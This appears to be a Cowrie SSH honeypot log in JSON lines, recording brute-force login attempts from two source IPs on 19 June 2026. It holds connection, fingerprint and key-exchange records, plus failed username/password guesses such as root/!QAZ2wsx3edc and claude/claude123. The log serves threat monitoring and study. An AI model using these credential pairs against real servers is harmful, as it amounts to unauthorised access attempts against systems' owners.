{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38168,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d2a80aebe9","protocol":"ssh","message":"New connection: 91.92.40.171:38168 (159.203.135.109:22) [session: e5d2a80aebe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:08.120028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:08.136603Z","src_ip":"91.92.40.171","session":"e5d2a80aebe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:08.219185Z","src_ip":"91.92.40.171","session":"e5d2a80aebe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:08.550132Z","src_ip":"91.92.40.171","session":"e5d2a80aebe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:09.543096Z","src_ip":"91.92.40.171","session":"66879028ee37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:09.850909Z","src_ip":"91.92.40.171","session":"e5d2a80aebe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52676,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f73d22d285f","protocol":"ssh","message":"New connection: 91.92.42.133:52676 (159.203.135.109:22) [session: 2f73d22d285f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:11.583585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:11.650929Z","src_ip":"91.92.42.133","session":"2f73d22d285f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:11.665210Z","src_ip":"91.92.40.171","session":"66879028ee37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:11.719903Z","src_ip":"91.92.42.133","session":"2f73d22d285f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:12.238846Z","src_ip":"91.92.42.133","session":"2f73d22d285f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:13.358928Z","src_ip":"91.92.42.133","session":"2f73d22d285f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38262,"dst_ip":"159.203.135.109","dst_port":22,"session":"df45a7d308f1","protocol":"ssh","message":"New connection: 91.92.40.171:38262 (159.203.135.109:22) [session: df45a7d308f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:13.502698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:13.610418Z","src_ip":"91.92.40.171","session":"df45a7d308f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:13.613163Z","src_ip":"91.92.40.171","session":"df45a7d308f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:14.181569Z","src_ip":"91.92.40.171","session":"df45a7d308f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:15.286966Z","src_ip":"91.92.40.171","session":"df45a7d308f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44332,"dst_ip":"159.203.135.109","dst_port":22,"session":"e40da5bd4b6a","protocol":"ssh","message":"New connection: 91.92.42.133:44332 (159.203.135.109:22) [session: e40da5bd4b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:17.241000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:17.337365Z","src_ip":"91.92.42.133","session":"e40da5bd4b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:17.339930Z","src_ip":"91.92.42.133","session":"e40da5bd4b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:17.816362Z","src_ip":"91.92.42.133","session":"e40da5bd4b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:18.903413Z","src_ip":"91.92.42.133","session":"e40da5bd4b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36290,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e519a30151b","protocol":"ssh","message":"New connection: 91.92.40.171:36290 (159.203.135.109:22) [session: 8e519a30151b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:18.991925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:19.022866Z","src_ip":"91.92.40.171","session":"8e519a30151b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:19.272602Z","src_ip":"91.92.40.171","session":"8e519a30151b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:19.759877Z","src_ip":"91.92.40.171","session":"8e519a30151b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:20.915689Z","src_ip":"91.92.40.171","session":"8e519a30151b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44368,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4d5b7c4a5e","protocol":"ssh","message":"New connection: 91.92.42.133:44368 (159.203.135.109:22) [session: ca4d5b7c4a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:23.074068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:23.078459Z","src_ip":"91.92.42.133","session":"ca4d5b7c4a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:23.159650Z","src_ip":"91.92.42.133","session":"ca4d5b7c4a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:23.438255Z","src_ip":"91.92.42.133","session":"ca4d5b7c4a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36330,"dst_ip":"159.203.135.109","dst_port":22,"session":"66412e13b457","protocol":"ssh","message":"New connection: 91.92.40.171:36330 (159.203.135.109:22) [session: 66412e13b457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:24.404259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:24.407891Z","src_ip":"91.92.40.171","session":"66412e13b457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:24.491276Z","src_ip":"91.92.40.171","session":"66412e13b457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:24.521243Z","src_ip":"91.92.42.133","session":"ca4d5b7c4a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:24.749324Z","src_ip":"91.92.40.171","session":"66412e13b457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:25.893520Z","src_ip":"91.92.40.171","session":"66412e13b457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46264,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b8fb4794803","protocol":"ssh","message":"New connection: 91.92.42.133:46264 (159.203.135.109:22) [session: 1b8fb4794803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:28.469447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:28.602612Z","src_ip":"91.92.42.133","session":"1b8fb4794803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:28.609309Z","src_ip":"91.92.42.133","session":"1b8fb4794803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:29.101634Z","src_ip":"91.92.42.133","session":"1b8fb4794803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34972,"dst_ip":"159.203.135.109","dst_port":22,"session":"c094f899f7b1","protocol":"ssh","message":"New connection: 91.92.40.171:34972 (159.203.135.109:22) [session: c094f899f7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:29.865480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:29.869290Z","src_ip":"91.92.40.171","session":"c094f899f7b1","protocol":"ssh"}
